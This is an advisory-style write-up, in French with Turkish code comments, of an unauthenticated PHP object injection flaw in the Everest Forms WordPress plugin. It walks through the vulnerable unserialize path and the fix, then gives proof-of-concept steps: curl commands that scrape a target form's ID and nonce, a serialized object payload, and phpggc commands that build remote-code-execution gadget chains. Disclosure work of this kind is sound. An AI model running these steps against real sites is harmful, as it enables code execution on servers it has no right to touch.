
CVE-2026-3296 est une vulnérabilité critique CVSS 9.8 d'injection d'objets PHP non authentifiée dans le plugin WordPress Everest Forms.
CVE-2026-3296 est une vulnérabilité critique (CVSS 9.8) d'injection d'objets PHP (PHP Object Injection) non authentifiée dans le plugin WordPress Everest Forms
Plugin : Everest Forms – Formulaire de contact, formulaire de paiement, quiz, sondage et créateur de formulaires personnalisés Slug du plugin :
everest-formsID CVE : CVE-2026-3296 Score CVSS : 9.8 (Critique) Vecteur CVSS :CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HType de vulnérabilité : PHP Object Injection non authentifiée → RCE Versions affectées : <= 3.4.3 Version corrigée : 3.4.4 Date de publication : 7 avril 2026 Chercheur : 0xsabre — Mobikwik / Wordfence
Le plugin Everest Forms appelle la fonction native PHP unserialize() sans le paramètre allowed_classes lorsqu'il affiche les métadonnées des saisies de formulaire dans le panneau d'administration.
Un attaquant non authentifié peut intégrer un payload d'objet PHP sérialisé dans n'importe quel champ de formulaire public et l'enregistrer dans la base de données. Lorsque l'entrée est affichée dans le panneau d'administration, unserialize() est déclenchée et n'importe quelle chaîne de gadgets POP présente dans l'environnement est exécutée.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-3296 |
| CVSS | 9.8 Critique |
| Type | Injection d'objets PHP (Deserialization of Untrusted Data) |
| Version affectée | <= 3.4.3 |
| Version corrigée | 3.4.4 |
| Authentification | Aucune (injection), Admin (déclenchement) |
| CWE | CWE-502: Deserialization of Untrusted Data |
PHASE 1 — INJECTION (aucune authentification requise)
PHASE 2 — DÉCLENCHEMENT (affichage du panneau d'administration)
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
Ce payload est entièrement préservé après sanitize_text_field() :
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← BUG: döngü ilk iterasyonda çıkar
}
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() düz string'i değiştirmez
// → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ allowed_classes parametresi YOK
// PHP varsayılanı: TÜM sınıflar instantiate edilebilir
// → POP gadget chain tetiklenir
}
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Güvenli
}
return null;
}
return $data;
}
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">
Le nonce assure la protection CSRF, pas l'authentification. L'attaquant ouvre la page du formulaire en GET, lit le nonce, puis envoie le payload en POST.
┌──────────────────────────────────────────────────────────────┐
│ PHASE 1 — INJECTION (non authentifiée) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → sérialisation conservée │
│ ├── maybe_serialize() → string inchangé │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (l'administrateur effectue un contrôle de routine)
┌──────────────────────────▼───────────────────────────────────┐
│ PHASE 2 — DÉCLENCHEMENT (panneau d'administration) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← VULNÉRABILITÉ │
│ │ allowed_classes = (absent) → toutes les classes │
│ └── POP gadget chain → __wakeup() / __destruct() │
│ → RCE / écriture de fichier / exfiltration │
└──────────────────────────────────────────────────────────────┘
⚠️ Avertissement : ce PoC est fourni uniquement à des fins éducatives et de recherche en sécurité défensive.
Prérequis :
TARGET="https://target-site.example.com/contact/"
# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
Pour un environnement réel, générez une chaîne POP avec PHPGGC :
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s
# Monolog chain
phpggc Monolog/RCE1 system "id" -s
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"